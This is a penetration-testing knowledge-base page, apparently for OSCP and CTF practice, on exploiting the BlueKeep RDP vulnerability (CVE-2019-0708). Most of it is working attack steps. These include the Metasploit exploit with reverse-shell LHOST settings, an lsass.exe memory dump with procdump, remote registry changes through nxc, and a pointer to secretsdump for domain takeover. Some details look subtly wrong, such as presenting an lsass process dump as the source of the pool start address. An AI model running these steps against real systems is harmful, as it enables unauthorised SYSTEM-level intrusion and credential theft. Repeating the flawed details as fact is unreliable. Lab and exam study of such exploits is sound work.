# BlueKeep CVE-2019-0708 – Unauthenticated RDP RCE

> Exploits CVE-2019-0708, an unauthenticated RCE vulnerability in Windows RDP via kernel UAF, enabling pre-auth SYSTEM-level code execution without user interaction.

- **URL:** https://hackindex.io/services/rdp/exploitation/vulnerabilities/bluekeep-cve-2019-0708
- **Path:** RDP > Exploitation > Vulnerabilities
- **Up:** [Vulnerabilities](https://hackindex.io/services/rdp/exploitation/vulnerabilities.md)
- **Published:** 2026-03-11
- **Updated:** 2026-05-15

BlueKeep is a use-after-free in `termdd.sys` triggered by binding a client-controlled virtual channel named `MS_T120`: a channel the RDP server also uses internally. The resulting dangling pointer allows controlled kernel pool manipulation and arbitrary code execution without any authentication.

Affects Windows XP, 2003, Vista, 7, and Server 2008/2008 R2. Patched in May 2019 (KB4499175 for Windows 7). Appears regularly in OSCP labs and CTFs on older Windows machines. The primary public exploit is the Metasploit module, which is the most stable option available.

> [!WARNING]
> This may be restricted in exams such as OSCP. Verify exam rules before use.

## Confirming Vulnerability

Safe detection methodology is covered in [RDP Known Vulnerability Detection](https://hackindex.io/services/rdp/vulnerability-discovery/rdp-known-vulnerabilities-detection). The Metasploit auxiliary scanner is the standard check:

```bash
msfconsole -q -x "use auxiliary/scanner/rdp/cve_2019_0708_bluekeep; set RHOSTS $TARGET_IP; run; exit"
```

Or use the Metasploit scanner:

```bash
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS $TARGET_IP
run
# [+] 10.10.10.10:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
```

## BlueKeep CVE-2019-0708 exploit with Metasploit

> [!WARNING]
> This may be restricted in exams such as OSCP. Verify exam rules before use.

The Metasploit module is rated `Manual`: it requires GROOMBASE to be set correctly for the target environment, otherwise it causes a BSOD instead of a shell. Automatic targeting works for basic cases but tuning improves reliability.

```bash
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS $TARGET_IP
set LHOST $LHOST
set LPORT $LPORT
set TARGET 1
run
```

Target options:

- `0`: Automatic fingerprinting (attempts to detect, unreliable)
- `1`: Windows 7 SP1 / Server 2008 R2 (VMware)
- `2`: Windows 7 SP1 / Server 2008 R2 (Hyper-V)
- `3`: Windows 7 SP1 / Server 2008 R2 (VirtualBox 6)
- `4`: Windows 7 SP1 / Server 2008 R2 (Bare metal)

If the target is a CTF/lab VM, start with VMware (1) then try VirtualBox (3) and Hyper-V (2) if you get BSODs.

## Tuning GROOMBASE for Reliability

The exploit requires GROOMBASE: the Non-Paged Pool (NPP) start address for the target. An incorrect value causes a kernel crash. For lab VMs, the default values per target preset are often close enough. For bare metal or unusual configurations, extract the NPP start address from a memory dump.

Dump memory via a remote method (requires a prior low-privilege shell or WinRM access):

```powershell
procdump.exe -ma lsass.exe lsass.dmp
```

Or from a Meterpreter session:

```bash
run post/windows/gather/memory_dump
```

Then extract the NPP start address using Rekall or Volatility:

```bash
docker run --rm -it -v ~/dump:/home/nonroot/files remnux/rekall bash
rekall -f /home/nonroot/files/dump.mem windows_pte
```

Look for `NPP Start` in the output. Set it in the Metasploit module:

```
set GROOMBASE 0xfffffa8001800000
```

## GROOMSIZE Tuning

`GROOMSIZE` controls the amount of kernel pool memory sprayed. The default is often too low for targets with more than 1GB RAM. Increase it:

```powershell
set GROOMSIZE 50
```

Try values between 30 and 100 if the exploit runs but does not produce a shell or causes a BSOD.

## Windows Server 2008 R2 Extra Requirement

Server 2008 R2 requires the following registry key to be set to `0` for the RDPSND channel to work, which the exploit uses for heap grooming:

```
HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp\fDisableCam

```

Set it remotely if you have another access path:

```bash
nxc smb $TARGET_IP -u $USER -p $PASSWORD -x "reg add HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp /v fDisableCam /t REG_DWORD /d 0 /f"
```

## What You Get

BlueKeep executes in kernel context: the resulting shell runs as `NT AUTHORITY\SYSTEM`. On a standalone host this is full compromise. On a DC this means immediate domain takeover via secretsdump.

## References

- [Metasploit – BlueKeep RCE Module Module source with target presets](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/windows/rdp) - GROOMBASE documentation, and payload constraints.
- [CVE-2019-0708](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-0708) - Microsoft MSRC Official advisory with affected versions and patch references.